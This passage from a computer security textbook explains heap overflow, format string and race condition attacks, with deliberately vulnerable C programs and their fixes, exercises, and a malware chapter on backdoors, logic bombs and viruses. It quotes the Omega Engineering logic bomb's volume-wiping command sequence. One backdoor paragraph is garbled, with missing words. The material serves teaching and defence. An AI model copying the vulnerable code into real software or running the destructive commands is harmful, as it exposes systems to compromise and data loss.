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reused. One heap overflow technique takes advantage of this system. If an
attacker provides user input to a program that unsafely copies the input to
a block on the heap, the attacker can overflow the bounds of that block and
overwrite portions of the next block. If this input is carefully crafted, it may
be possible to overwrite the linked list pointers of the next block and mark
it as free, in such a way that the unlink routine is tricked into writing data
into an arbitrary address in memory. In particular, the attacker may trick
the unlink routine into writing the address of his shellcode into a location
that will eventually result in a jump to the malicious code, resulting in the
execution of the attacker’s code.

One such location that may be written to in order to compromise a
program is known as .dtors. Programs compiled with GCC may feature
functions marked as constructor or destructor functions. Constructors are
executed before main(), and destructors are called after main() has returned.
Therefore, if an attacker adds the address of his shellcode to the .dtors
section, which contains a list of destructor functions, his code will be
executed before the program terminates. Another potential location that is
vulnerable to attacks is known as the global offset table (GOT). This table
maps certain functions to their absolute addresses. If an attacker overwrites
the address of a function in the GOT with the address of his shellcode and
this function is called, the program will jump to and execute the shellcode,
once again giving full control to the attacker.

Preventing Heap-Based Buffer Overflow Attacks

Prevention techniques for heap-based overflow attacks resemble those for
stack-based overflows. Address space randomization prevents the attacker
from reliably guessing memory locations, making the attack more difficult.
In addition, some systems make the heap nonexecutable, making it more
difficult to place shellcode. Newer implementations of dynamic memory
allocation routines often choose to store heap metadata (such as the pointers
to the previous and next blocks of heap memory) in a location separate from
the actual data stored on the heap, which makes attacks such as the unlink
technique impossible. Once again, the single most important preventive
measure is safe programming. Whenever a program copies user-supplied
input into a buffer allocated on the heap, care must be taken to ensure that
the program does not copy more data than that buffer can hold.
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4.5 Format String Attacks

The printf family of C library functions are used for I/O, including printing
messages to the user. These functions are typically designed to be passed an
argument containing the message to be printed, along with a format string
that denotes how this message should be displayed. For example, calling
printf(“%s”,message) prints the message variable as a string, denoted by
the format string %s. Format strings can also write to memory. The %n
format string specifies that the print function should write the number of
bytes output so far to the memory address of the first argument to the
function.

When a programmer does not supply a format string, the input ar-
gument to the print function controls the format of the output. If this
argument is user-supplied, then an attacker could carefully craft an input
that uses format strings, including %n, to write to arbitrary locations in
memory. This could allow an attacker to seize control and execute arbitrary
code in the context of the program by overwriting a return address, function
pointer, etc. An example of a program with a format string vulnerability can
be found in Code Fragment 9, where the printf() function is called without
providing a format string.

#include <stdio.h>
int main(int argc, char * argv[ ])
{

printf("Your argument is:\n");
// Does not specify a format string, allowing the user to supply one
printf(argv[1]);
}

Code Fragment 9: A C program vulnerable to a format string bug.

Once again, the solution to this attack lies in the hands of the program-
mer. To prevent format string attacks, programmers should always provide
format strings to the printf function family, as in Code Fragment 10.

#include <stdio.h>
int main(int argc, char * argv[ ])
{

printf("Your argument is:\n");
// Supplies a format string
printf("%s",argv[1]);
}

Code Fragment 10: A C program protected against a format string bug.
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4.6 Race Conditions

Another programming error that can lead to compromise by malicious
users is the introduction of what is known as a race condition. A race con-
dition is any situation where the behavior of the program is unintentionally
dependent on the timing of certain events.

A classic example makes use of the C functions access() and open().
The open() function, used to open a file for reading or writing, opens
the specified file using the effective user ID (rather than the real user ID)
of the calling process to check permissions. In other words, if a SetUID
program owned by the root user is run by an ordinary user, that program
can successfully call open() on files that only the root user has permission
to access. The access() function checks whether the real user (in this case,
the user running the program) has permission to access the specified file.

Suppose there were a simple program that takes a filename as an argu-
ment, checks whether the user running the program has permission to open
that file, and if so, reads the first few characters of the file and prints them.
This program might be implemented as in Code Fragment 11.

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <fcntl.h>
int main(int argc, char * argv[ ])
{

int file;
char buf[1024];
memset(buf, 0, 1024);
if(argc < 2) {

printf("Usage: printer [filename]\n");
exit(−1);
}
if(access(argv[1], R OK) != 0) {

printf("Cannot access file.\n");
exit(−1);
}
file = open(argv[1], O RDONLY);
read(file, buf, 1023);

close(file);
printf("%s\n", buf);
return 0;
}

Code Fragment 11: A C program vulnerable to a race condition.
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The Time of Check/Time of Use Problem

There is a race condition in the above implementation. In particular, there
is a tiny, almost unnoticeable time delay between the calls to access()
and open(). An attacker could exploit this small delay by changing the
file in question between the two calls. For example, suppose the attacker
provided /home/joe/dummy as an argument, an innocent text file that the
attacker can access. After the call to access() returns 0, indicating the
user has permission to access the file, the attacker can quickly replace
/home/joe/dummy with a symbolic link to a file that he does not have
permission to read, such as /etc/passwd.

Next, the program will call open() on the symbolic link, which will be
successful because the program is SetUID root and has permission to open
any files accessible to the root user. Finally, the program will dutifully read
and print the contents of the file.

Note that this type of attack could not be done manually; the time
difference between two function calls is small enough that no human would
be able to change the files fast enough. However, it would be possible
to have a program running in the background that repeatedly switches
between the two files—one legitimate and one just a symbolic link—and
runs the vulnerable program repeatedly until the switch occurred in exactly
the right place.

In general, this type of vulnerability is known as a Time of Check/Time
of Use (TOCTOU) problem. Any time a program checks the validity and
authorizations for an object, whether it be a file or some other property,
before performing an action on that object, care should be taken that these
two operations are performed atomically, that is, they should be performed
as a single uninterruptible operation. Otherwise, the object may be changed
in between the time it is checked and the time it is used. In most cases, such
a modification simply results in erratic behavior, but in some, such as this
example, the time window can be exploited to cause a security breach.

To safely code the example above, the call to access() should be com-
pletely avoided. Instead, the program should drop its privileges using
seteuid() before calling open(). This way, if the user running the program
does not have permission to open the specified file, the call to open() will
fail. A safe version of the program can be found in Code Fragment 12.
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#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <fcntl.h>
int main(int argc, char * argv[ ])
{

int file;
char buf[1024];
uid t uid, euid;
memset(buf, 0, 1024);
if(argc < 2) {

printf("Usage: printer [filename]\n");
exit(−1);
}
euid = geteuid();
uid = getuid();
/* Drop privileges */
seteuid(uid);
file = open(argv[1], O RDONLY);
read(file, buf, 1023);
close(file);
/* Restore privileges */
seteuid(euid);
printf("%s\n", buf);
return 0;
}

Code Fragment 12: A simple C program that is protected against a race
condition.

Operating Systems Security

165



5 Exercises

For help with exercises, please visit securitybook.net.

Reinforcement

R-1 How can multitasking make a single processor look like it is run-
ning multiple programs at the same time?

R-2 Give an example of three operating systems services that do not
belong in the kernel?

R-3 If a process forks two processes and these each fork two processes,
how many processes are in this part of the process tree?

R-4 What is the advantage of booting from the BIOS instead of booting
the operating system directly?

R-5 Can a process have more than one parent? Explain.

R-6 Describe two types of IPC. What are their relative benefits and
weaknesses?

R-7 Why would it be bad to mix the stack and heap segments of
memory in the same segment?

R-8 Describe the difference between a daemon and a service.

R-9 What are the benefits of virtual memory?

R-10 Why should a security-conscious Windows user inspect processes
with Process Explorer instead of Task Manager?

R-11 What is the purpose of salting passwords?

R-12 If a password is salted with a 24-bit random number, how big is the
dictionary attack search space for a 200,000 word dictionary?

R-13 Eve has just discovered and decrypted the file that associates each
userid with its 32-bit random salt value, and she has also discov-
ered and decrypted the password file, which contains the salted-
and-hashed passwords for the 100 people in her building. If she has
a dictionary of 500,000 words and she is confident all 100 people
have passwords from this dictionary, what is the size of her search
space for performing a dictionary attack on their passwords?

R-14 Suppose farasi is a member of group hippos in a system that uses
basic Unix permissions. He creates a file pool.txt, sets its group
as hippos and sets its permissions as u=rw,g=. Can farasi read
pool.txt?
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R-15 Dr. Eco claims that virtual machines are good for the environment.
How can he justify that virtualization is a green technology?

R-16 Alice, who uses a version of Unix, requires a better program to
manage her photos. She wants Bob to code this program for her.
However, she does not want Bob to be able to see some confidential
files she has in her account (for example, the solutions of some
homework). On the other hand, Bob wants to make sure that Alice
does not read his code, since this will probably be her CS032 final
project. Explain how this can be achieved by using the setuid and
chmod functions provided by UNIX. Also, assume for this question
only (regardless of real systems’ behavior), that a user cannot revert
to the real UID after using the effective UID that was set by the
setuid feature. Specifically consider the fact that Bob could embed
code in his program to transfer data it has access to, to a public
folder and/or a web server.

R-17 Is it possible to create a symbolic link to a symbolic link? Why or
why not?

R-18 Why is it pointless to give a symbolic link more restrictive access
privileges than the file it points to?

R-19 Describe the main differences between advanced file permissions
in Linux and Windows NTFS. Give an example to illustrate each
difference.

R-20 Dr. Blahbah claims that buffer overflow attacks via stack smashing
are made possible by the fact that stacks grow downwards (to-
wards smaller addresses) on most popular modern architectures.
Therefore, future architectures should ensure that the stack grows
upwards; this would provide a good defense against buffer over-
flow. Do you agree or disagree? Why?

R-21 Why is it important to protect the part of the disk that is used for
virtual memory?

R-22 Why is it unsafe to keep around the C:\hiberfil.sys file even after a
computer has been restored from hibernation?

Creativity

C-1 Bob thinks that generating and storing a random salt value for
each userid is a waste. Instead, he is proposing that his system
administrators use a SHA-1 hash of the userid as its salt. Describe
whether this choice impacts the security of salted passwords and
include an analysis of the respective search space sizes.
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C-2 Alice has a picture-based password system, where she has each
user pick a set of their 20 favorite pictures, say, of cats, dogs, cars,
etc. To login, a user is shown a series of pictures in pairs—one on
the left and one on the right. In each pair, the user has to pick the
one that is in his set of favorites. If the user picks the correct 20
out of the 40 he is shown (as 20 pairs), then the system logs him in.
Analyze the security of this system, including the size of the search
space. Is it more secure than a standard password system?

C-3 Charlie likes Alice’s picture-password system of the previous exer-
cise, but he has changed the login so that it just shows the user 40
different pictures in random order and they have to indicate which
20 of these are from their set of favorites. Is this an improvement
over Alice’s system? Why or why not?

C-4 Dr. Simplex believes that all the effort spent on access control
matrices and access control lists is a waste of time. He believes
that all file access permissions for every file should be restricted
to the owner of that file, period. Describe at least three scenarios
where he is wrong, that is, where users other than a file’s owner
need some kind of allowed access privileges.

C-5 On Unix systems, a convenient way of packaging a collection of
files is a SHell ARchive, or shar file. A shar file is a shell script
that will unpack itself into the appropriate files and directories.
Shar files are created by the shar command. The implementation
of the shar command in a legacy version of the HP-UX operating
system created a temporary file with an easily predictable filename
in directory /tmp. This temporary file is an intermediate file that
is created by shar for storing temporary contents during its execu-
tion. Also, if a file with this name already exists, then shar opens
the file and overwrites it with temporary contents. If directory /tmp
allows anyone to write to it, a vulnerability exists. An attacker can
exploit such a vulnerability to overwrite a victim’s file. (1) What
knowledge about shar should the attacker have? (2) Describe the
command that the attacker issues in order to have shar overwrite
an arbitrary file of a victim. Hint: the command is issued before
shar is executed. (3) Suggest a simple fix to the shar utility to
prevent the attack. Note that this is not a setuid question.

C-6 Java is considered to be “safe” from buffer overflows. Does that
make it more appropriate to use as a development language when
security is a concern? Be sure and weigh all of the risks involved in
product development, not just the security aspects.

C-7 Dr. Blahbah has implemented a system with an 8-bit random ca-
nary that is used to detect and prevent stack-based buffer overflow
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attacks. Describe an effective attack against Dr. Blahbah’s system
and analyze its likelihood of success.

C-8 Consider the following piece of C code:

int main(int argc, char *argv[])
{
char continue = 0;
char password[8];
strcpy(password, argv[1]);
if (strcmp(password, ”CS166”)==0)
continue = 1;
if (continue)
{
∗login();
}
}

In the above code, ∗login() is a pointer to the function login()
(In C, one can declare pointers to functions which means that the
call to the function is actually a memory address that indicates
where the executable code of the function lies). (1) Is this
code vulnerable to a buffer-overflow attack with reference to the
variables password[] and continue? If yes, describe how an attacker
can achieve this and give an ideal ordering of the memory cells
(assume that the memory addresses increase from left to right)
that correspond the variables password[] and continue of the code
so that this attack can be avoided. (2) To fix the problem, a security
expert suggests to remove the variable continue and simply use
the comparison for login. Does this fix the vulnerability? What
kind of new buffer overflow attack can be achieved in a multiuser
system where the login() function is shared by a lot of users (both
malicious and and nonmalicious) and many users can try to log
in at the same time? Assume for this question only (regardless
of real systems’ behavior) that the pointer is on the stack rather
than in the data segment, or a shared memory segment. (3) What
is the existing vulnerability when login() is not a pointer to the
function code but terminates with a return() command? Note that
the function strcpy does not check an array’s length.

C-9 In the StackGuard approach to solving the buffer overflow prob-
lem, the compiler inserts a canary value on the memory location
before the return address in the stack. The canary value is ran-
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domly generated. When there is a return from the function call, the
compiler checks if the canary value has been overwritten or not.
Do you think that this approach would work? If yes, please explain
why it works; if not, please give a counterexample.

C-10 Another approach to protecting against buffer overflows is to rely
on address space layout randomization (ASLR). Most implementa-
tions of ASLR offset the start of each memory segment by a number
that is randomly generated within a certain range at runtime. Thus,
the starting address of data objects and code segments is a random
location. What kinds of attacks does this technique make more
difficult and why?

Projects

P-1 Write a program in pseudocode that acts as a guardian for a file, al-
lowing anyone to append to the file, but to make no other changes
to it. This may be useful, e.g., to add information to a log file.
Your program, to be named append, should take two strings file1
and file2 as arguments, denoting the paths to two files. Operation
append(String file1, String file2) copies the contents of file1 to the
end of file2, provided that the user performing the operation has
read permission for file1 and file2. If the operation succeeds, 0 is
returned. On error, −1 is returned.
Assume that the operating system supports the setuid mechanism
and that append is a setuid program owned by a user called
guardian. The file to which other files get appended (file2) is also
owned by guardian. Anyone can read its contents. However, it can
be written only by guardian. Write your program in pseudocode
using the following Java-style system calls:
(1) int open(String path to file, String mode) opens a file in a given
mode and returns a positive integer that is the descriptor of the
opened file. String mode is one of READ ONLY or WRITE ONLY.
(2) void close(int file descriptor) closes a file given its descriptor.
(3) byte[] read(int file descriptor) reads the content of the given
file into an array of bytes and returns the array. (4) void write(int
file descriptor, byte[] source buffer) stores a byte array into a file,
replacing the previous content of the file. (5) int getUid() gets the
real user ID of the current process. (6) int getEuid() gets the effective
user ID of the current process. (7) void setEuid(int uid) sets the
effective user ID of the current process, where uid is either the real
user ID or the saved effective user ID of the process.
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Error conditions that occur in the execution of the above system
calls (e.g., trying to open a file without having access right to it or
using a nonexistent descriptor) trigger exception SystemCallFailed,
which should be handled by your program. Note that you do not
need to worry about buffer overflow in this question.

P-2 Implement a system that implements a simple access control list
(ACL) functionality, which gives a user the ability to grant file
permissions on a user-by-user basis. For example, one can create
a file that is readable by joeuser and janeuser, but only writable
by janeuser. The operations on the ACL are as follows. (1) set-
facl(path, uid, uid mode, gid, gid mode) sets a user with uid and/or
a group with gid to the ACL for the object (file or directory) spec-
ified by path. If the user/group already exists, the access mode is
updated. If only (uid, uid mode) or (gid, gid mode) is to be set, null
is used for the unset arguments. (2) getfacl(path) obtains the entire
access control list of the file path. (3) access(uid, access mode,
path) determines whether a user with uid can access the object
stored at path in mode access mode. This method returns a
boolean. path contains the full path to a file or a directory, e.g.,
/u/bob/cs166/homework.doc. You can use groups username to find
out the groups that username belongs to. One way to accomplish
this ACL would be with a linked list; your solution should be
more efficient with respect to the number of users, groups, and
files. Describe how to implement the operations with your data
structure. You have to consider permissions associated with the
parent directories of a file. For this, you are given a method getPar-
ent(full path) that takes a path to a file or directory, and returns the
parent directory.

P-3 In a virtual machine, install the Linux operating system, which
supports the capability-based access control (capabilities are built
into the Linux kernel since the kernel version 2.6.24). Use capabil-
ities to reduce the amount of privileges carried by certain SetUID
programs, such as passwd and ping.

P-4 In a virtual machine, install a given privileged program (e.g., a
SetUID program) that is vulnerable to the buffer overflow attack.
Write a program to exploit the vulnerability and gain the ad-
minstrator privilege. Try different attacking schemes, one using
shellcode, and the other using the return-to-libc technique. It
should be noted that many operating systems have multiple built-
in countermeasures to protect them against the buffer overflow
attack. First, turn off those protections and try the attack; then turn
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them back on and see whether these protections can be defeated
(some countermeasures can be easily defeated).

P-5 In a virtual machine, install a given privileged program (e.g., a
SetUID program) that is vulnerable to the format-string attack.
Write a program to exploit the vulnerability and that will crash
the privileged program, print out the value of an internal variable
secret to the user, and modify the value of this secret variable.
Modify the source code of the vulnerable program so it can defeat
the format string attack.

P-6 In a virtual machine, install a given privileged program (e.g., a
SetUID program) that is vulnerable to the race condition attack.
Write a program to exploit the vulnerability and gain adminstrator
privilege. Modify the source code of the vulnerable program so it
can defeat the race condition attack.

P-7 Write a term paper describing how buffer overflows are used as
vectors for many computer attacks. Discuss how they enable
different kinds of attacks and describe how different software en-
gineering practices and languages might encourage or discourage
buffer-overflow vulnerabilities.

Chapter Notes

Operating systems are discussed in detail in the textbooks by Doeppner [27] and
Silberschatz, Galvin and Gagne [94]. Much of the content in this chapter on Unix-
based systems, especially Linux, draws heavily on open source documentation,
which can be accessed at http://www.manpagez.com/. Grünbacher describes in
detail Linux ACLs and the file access control algorithm based on ACLs [37].
Reference material on the Windows API can be found in the Microsoft Developer
Network [60]. A classic introduction to stack-based buffer overflows is given
by Aleph One [1]. Lhee and Chapin discuss buffer overflow and format string
exploitation [54]. A method for protecting against heap smashing attacks is
presented by Fetzer and Xiao [33]. The canary method for defending against
stack smashing attacks is incorporated in the StackGuard compiler extension by
Cowan et al. [20]. Address space randomization and its effectiveness in preventing
common buffer overflow attacks is discussed by Shacham et al. [89]. Project P-1
is from Tom Doeppner.
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1 Insider Attacks

This chapter is devoted to the ways that software systems can be attacked
by malicious software, which is also known as malware. Malicious soft-
ware is software whose existence or execution has negative and unintended
consequences. We discuss various kinds of malware, including some case
studies, and how systems and networks can be protected from malware.

We begin our coverage of malware with insider attacks. An insider
attack is a security breach that is caused or facilitated by someone who is
a part of the very organization that controls or builds the asset that should
be protected. In the case of malware, an insider attack refers to a security
hole that is created in a software system by one of its programmers. Such
an attack is especially dangerous because it is initiated by someone that
we should be able to trust. Unfortunately, such betrayals of trust are not
uncommon.

Insider attack code can come embedded in a program that is part of
a computer’s operating system or in a program that is installed later by
a user or system administrator. Either way, the embedded malware can
initiate privilege escalation, can cause damage as a result of some event, or
can itself be a means to install other malware.

1.1 Backdoors

A backdoor, which is also sometimes called a trapdoor, is a hidden feature
or command in a program that allows a user to perform actions he or
she would not normally be allowed to do. When used in a normal way,
this program performs completely as expected and advertised. But if the
hidden feature is activated, the program does something unexpected, often
in violation of security policies, such as performing a privilege escalation.
In addition, note that since a backdoor is a feature or command embedded
in a program, backdoors are always created by one of the developers or
administrators of the software. That is, they are a type of insider attack.
(See Figure 1.)

Backdoors Inserted for Debugging Purposes

Some backdoors are put into programs for debugging purposes. For exam-
ple, if a programmer is working on an elaborate biometric authentication
system for a computer login program, she may wish to also provide a
special command or password that can bypass the biometric system in the

Malware

174



Public high-level of security Secret entry point

Figure 1: Metaphorical illustration of a software backdoor.

event of a failure. Such a backdoor serves a useful purpose during code
development and debugging, since it helps prevent situations where a sys-
tem under development could become unusable because of a programming
error. For instance, if a programmer were unable to log in to a system due
to a bug in its authentication mechanism, that system might become com-
pletely unusable. In these cases, a backdoor might be created that grants
access when provided with a special command, such as letmeinBFIKU56,
to prevent being locked out of the system when debugging. However, if
such a backdoor remains in the program after finishing development, it can
become a security risk that may allow an attacker to bypass authentication
measures.

A backdoor left in a program even after it is fully debugged might
not be intended to serve a malicious purpose, however. For instance, a
biometric authentication system might contain a backdoor even after it is
debugged, so as to provide a bypass mechanism in the case of an emergency
or unanticipated problem. If a user is injured in a way that makes his
biometric data invalid, for example if a cut on his hand significantly alters
his fingerprint, then it would be useful if he could call the manufacturer
of the biometric system to receive a one-time password in order to gain
access to his system. Such a one-time password override could technically
be considered as a backdoor, but it nevertheless serves a useful purpose.
Of course, if a programmer never tells anyone at her company about such
an override mechanism or if she inserts it as a way of gaining access to the
system after it is deployed, then this backdoor has probably been left in for
a malicious purpose.
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Deliberate Backdoors

Sometimes programmers deliberately insert backdoors so they can perform
malicious actions later that would not otherwise be allowed by the normal
usage of their programs. For example, imagine what could happen if a
programmer who is designing a digital entry system for a bank vault adds
a backdoor that allows access to the vault through the use of a special
sequence of keystrokes, known only to him. Such backdoors are clearly
inserted for malicious purposes, and they have the potential for dramatic
effects. For instance, the classic movie War Games features a backdoor at a
dramatic high point. The backdoor in this case was a secret password that
allowed access to a war-game simulation mode of a computer at the North
American Aerospace Defense Command (NORAD).

Another more subtle way of creating a backdoor involves deliberately
introducing a vulnerability into a program, such as a buffer overflow.
cause the programmer knows about the vulnerability, it may
ward for him to exploit it and gain elevated privileges. In

of deliberately creating a backdoor—after all, software vulnerabilities
extremely common. Such attacks are sometimes employed
source projects that allow volunteers to contribute code. An
deliberately introduce an exploitable bug into the code of
project, allowing him to gain access to systems on other machines.

Easter Eggs

Software may include hidden features that can be accessed similarly to
backdoors, known as Easter eggs. An Easter egg is a harmless undocu-
mented feature that is unlocked with a secret password or unusual set of
inputs. For example, unlocking an Easter egg in a program could cause
the display of a joke, a picture of the programmer, or a list of credits for
the people who worked on that program. Specific examples of programs
containing Easter eggs include early versions of the Unix operating system,
which displayed funny responses to the command “make love,” and the
Solitaire game in Windows XP, which allows the user to win simply by
simultaneously pressing Shift, Alt, and 2. In addition, movie DVDs some-
times contain Easter eggs that display deleted scenes, outtakes, or other
extra content, by pushing unusual keystrokes at certain places on menu
screens.
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1.2 Logic Bombs

A logic bomb is a program that performs a malicious action as a result of a
certain logic condition. (See Figure 2.) The classic example of a logic bomb
is a programmer coding up the software for the payroll system who puts in
code that makes the program crash should it ever process two consecutive
payrolls without paying him. Another classic example combines a logic
bomb with a backdoor, where a programmer puts in a logic bomb that will
crash the program on a certain date. The logic bomb in this case can be
disabled via a backdoor, but the programmer will only do so if he is paid
for writing the program. This type of logic bomb is therefore a form of
extortion.

if (trigger condition = true) {if (trigger-condition = true) {
unleash bomb;

}

Figure 2: A logic bomb.

The Y2K Problem

Note that for a piece of software to be a logic bomb, there has to be a
malicious intent on the part of the programmer. Simple programming
errors don’t count. For example, programmers in the 20th century encoded
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dates as two digits, xy, to imply 19xy. When the year 2000 came, this prac-
tice caused several problems. Although Y2K didn’t have the catastrophic
effects that some were expecting, it did cause some problems with some
credit-card transactions and other date-dependent calculations. In spite of
these negative results, there was, as far as we know, no malice on the part
of programmers encoding dates in this way. Instead, these programmers
were trying to save some memory space with what they saw as the useless
storage of two redundant digits. Because of a lack of malicious intent,
the Y2K problem should not be considered a logic bomb although it had
a similar effect.

Examples of Logic Bombs

An example of a logic bomb comes in the classic movie Jurassic Park, where
the programmer, Nedry, installs a piece of code in the software for the
park’s security system that systematically turns off the locks on certain
fences, gates, and doors to allow him to steal some dinosaur embryos.

A real-life logic bomb was reported to have been inserted in 2008 into
the network software for Fannie Mae, a large financial enterprise sponsored
by the United States government, by a software contractor, Rajendrasinh
Makwana. He is said to have set a logic bomb to erase all of Fannie Mae’s
4,000 server computers 3 months after he had been terminated. Fortunately,
the code for this logic bomb was discovered prior to its activation date,
which avoided a digital disaster that would have had major implications in
the financial world.

The Omega Engineering Logic Bomb

An example of a logic bomb that was actually triggered and caused damage
is one that programmer Tim Lloyd was convicted of using on his former
employer, Omega Engineering Corporation. On July 31, 1996, a logic bomb
was triggered on the server for Omega Engineering’s manufacturing oper-
ations, which ultimately cost the company millions of dollars in damages
and led to it laying off many of its employees.

When authorities investigated, they discovered that the files on the
server were destroyed and that Tim Lloyd had been the administrator for
that server. In addition, when they searched for backup tapes for the server,
they only found two—at Tim Lloyd’s house—and they were both erased.
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The Logic Behind the Omega Engineering Time Bomb

In performing a forensic investigation of a true copy of the server’s memory,
agents for the U.S. Secret Service found a program containing the following
sequence of six character strings:

7/30/96
◦ This was the event that triggered the logic bomb—a date that

caused the remaining code to be executed only if the current date
was later than July 30, 1996.

F:
◦ This focused subsequent commands to be run on the volume F,

which contained the server’s critical files.

F:\LOGIN\LOGIN 12345
◦ This is a login for a fictitious user, 12345, that had supervisory

and destroy permissions, but (surprisingly) had no password.
So all subsequent commands would run using the supervisory
permissions of user 12345.

CD \PUBLIC
◦ This is a DOS command to change the current directory to the

folder PUBLIC, which stored common programs and other pub-
lic files on Omega Engineering’s server.

FIX.EXE /Y F:\*.*
◦ FIX.EXE was an exact copy of the DOS program DELTREE,

which can delete an entire folder (and recursively its subfolders),
except that FIX.EXE prints on the screen the words “fixing ...”
instead of “deleting ...” for each file that is deleted. The /Y
option confirms that each file should indeed be deleted, and the
argument F:\*.* identifies all the files on volume F as the ones to
be deleted.

PURGE F:\/ALL
◦ Deleted files can often be easily recovered by a simple analysis of

the disk. This command eliminates the information that would
make such reconstruction easy, thereby making recovery of the
deleted files difficult.

Thus, this program was a time bomb, which was designed to delete all the
important files on Omega Engineering’s server after July 30, 1996. Based in
part on this evidence, Tim Lloyd was found guilty of computer sabotage.
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1.3 Defenses Against Insider Attacks

Protecting a system against backdoors and logic bombs is not easy, since
each of these types of malware is created by a trusted programmer (who
clearly is not trustworthy). But defense against these types of malware is
not impossible. Possible defenses include the following:

• Avoid single points of failure. Let no one person be the only one to
create backups or manage critical systems.

• Use code walk-throughs. Have each programmer present her source
code to another programmer, line by line, so that he can help her
identify any missing conditions or undetected logic errors. Assuming
that there is no “ sleight of hand,” where she would present one set of
source code during the code walk-through and install a different set
later, she should be unable to discuss the code that defines a backdoor
or logic bomb without her partner noticing.

• Use archiving and reporting tools. Several other software engineer-
ing tools, such as automatic documentation generators and software
archiving tools, have a benefit of uncovering or documenting in-
sider attacks, in addition to their primary goals of producing quality
software. Software engineering tools often create visual artifacts or
archival digests, which are often reviewed by managers, not just the
programmers, so using these tools makes it harder for an insider
who is a malware author to have her malicious code go undetected.
Likewise, when program code is archived, it becomes harder for a
team member to avoid the existence of malware source code to go
undiscovered after an attack.

• Limit authority and permissions. Use a least privilege principle,
which states that each program or user in a system should be given
the least privilege required for them to do their job effectively.

• Physically secure critical systems. Important systems should be kept
in locked rooms, with redundant HVAC and power systems, and
protected against flood and fire.

• Monitor employee behavior. Be especially on the lookout for system
administrators and programmers that have become disgruntled.

• Control software installations. Limit new software installations to
programs that have been vetted and come from reliable sources.
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2 Computer Viruses

A computer virus, or simply virus, is computer code that can replicate itself
by modifying other files or programs to insert code that is capable of further
replication. This self-replication property is what distinguishes computer
viruses from other kinds of malware, such as logic bombs. Another distin-
guishing property of a virus is that replication requires some type of user
assistance, such as clicking on an email attachment or sharing a USB drive.
Often, a computer virus will perform some malicious task as well, such as
deleting important files or stealing passwords.

Computer viruses share a number of properties with biological viruses.
When released, biological viruses use their environment to spread to unin-
fected cells. A virus can often lie dormant for a period of time, waiting until
it encounters the right kind of uninfected cell. When a virus encounters
such a cell, it attacks that cell’s defenses at the margins. If it is able to
penetrate the cell, the virus uses the cell’s own reproductive processes to
make copies of the virus instead, which eventually are released from the cell
in great numbers, so as to repeat the process. (See Figure 3.) In this way,
computer viruses mimic biological viruses, and we even use the biological
term vectors to refer to vulnerabilities that malware, such as computer
viruses, exploit to perform their attacks.

Attack Penetration

Replication and assembly
Release

Figure 3: Four stages of a biological virus.
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2.1 Virus Classification

Computer viruses follow four phases of execution:

1. Dormant phase. During this phase, the virus just exists—the virus is
laying low and avoiding detection.

2. Propagation phase. During this phase, the virus is replicating itself,
infecting new files on new systems.

3. Triggering phase. In this phase, some logical condition causes the
virus to move from a dormant or propagation phase to perform its
intended action.

4. Action phase. In this phase, the virus performs the malicious action
that it was designed to perform, called payload. This action could in-
clude something seemingly innocent, like displaying a silly picture on
a computer’s screen, or something quite malicious, such as deleting
all essential files on the hard drive.

These phases characterize many different types of computer viruses.
One way to classify the many varieties of viruses is according to the way
they spread or the types of files that they infect.

Types of Viruses

A program virus, also known as a file virus, infects a program by modifying
the file containing its object code. Once the infection occurs, a program
virus is sure to be run each time the infected program executes. If the
infected program is run often, as with a common operating system pro-
gram or a popular video game, then the virus is more likely to be able
to be maintained and to replicate. Thus, the most common and popular
programs are also the most natural targets for program viruses. Figure 4
gives schematic examples of infected program files, which contain both the
original program code and the virus code.

Several document preparation programs, such as Microsoft Word, sup-
port powerful macro systems that allow for automating sequences of com-
mands. When used benevolently, macros provide, e.g., dynamic updating
of facts, figures, names, and dates in documents when the underlying
information changes. But macro systems often incorporate a rich set of
operations, such as file manipulation and launching other applications.
Since a macro can behave similarly to an executable program, it can become
a target for viruses.
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Figure 4: How a virus injects itself into a program file: (a) A simple
injection at the beginning of a program. (b) A more complex injection that
splits the virus code into two parts and injects them at different points in
the program. Jump instructions are used to begin execution with the virus
code and then pass control to the original program code.

A macro virus, which is also known as a document virus, is launched
when a document is opened, at which time the virus then searches for other
documents to infect. In addition, a macro virus can insert itself into the
standard document template, which makes every newly created document
infected. Finally, further propagation occurs when infected documents are
emailed to other users.

A boot sector virus is a special type of program virus that infects the
code in the boot sector of a drive, which is run each time the computer is
turned on or restarted. This type of virus can be difficult to remove, since
the boot program is the first program that a computer runs. Thus, if the
boot sector is infected with a virus, then that virus can make sure it has
copies of itself carefully placed in other operating system files. As a result,
antivirus software routinely monitors the integrity of the boot sector.
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Real-World Examples of Computer Viruses

Some real-world examples of computer viruses include the following:

• Jerusalem. This is a virus that originated in the 1980s and infected
DOS operating systems files. It was first discovered in Jerusalem,
Israel. Once it becomes active on a computer, the Jerusalem virus
loads itself into the main memory of the computer and infects other
executable files that are run. In addition, it avoids reinfecting the files
it has already injected itself into. Its destructive action is that if it is
ever executed on a Friday the 13th, then it deletes every program file
that is run. The Jerusalem virus has spawned a number of variants,
such as Westwood, PQSR, Sunday, Anarkia, and Friday-15th, which
cause havoc on other dates and have other slight differences from the
original Jerusalem virus.

• Melissa. This was the first recorded virus that spread itself via mass
emailing. It is a macro virus that infects Microsoft Word 97 or 2000
documents and Excel 97 or 98 documents. Once an infected document
is opened, the Melissa virus would email infected documents to the
first 40 or 50 addresses in the victim’s address book. It would also
infect other Word and Excel documents. When initially launched, the
Melissa virus spread so fast that a number of email servers had to be
temporarily shut down because they were overloaded with so many
emails. It has a number of variants, such as Papa, Syndicate, and
Marauder, which differ in the messages and filenames included in the
contents of the emails that are sent. In each case, the goal is to entice
the recipient to open an enclosed document and further the spread of
the virus.

• Elk Cloner. This is a boot sector virus that infected Apple II operating
systems in the early 1980s It infected systems by writing itself to
the hard drive any time an infected disk was inserted. It was fairly
harmless, however, in that its payload simply printed out a poem each
50th time the computer was booted.

• Sality. This is a recent executable file virus. Once executed, it disables
antivirus programs and infects other executable files. It obscures its
presence in an executable file by modifying its entry point. It also
checks if it is running on a computer with an Internet connection,
and if so, it may connect to malware web sites and download other
malware.
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2.2 Defenses Against Viruses

Since computer viruses share many similarities with biological viruses, it is
appropriate that we defend against them by gaining insight from how our
bodies react to harmful intruders. When a virus enters a person’s body and
gets past her initial defenses, it may spread rapidly and infect many of her
cells. As the virus spreads, however, that person’s immune system learns
to detect unique features of the attacking virus, and it mounts a response
that is specifically tuned to attack infected cells.

Virus Signatures

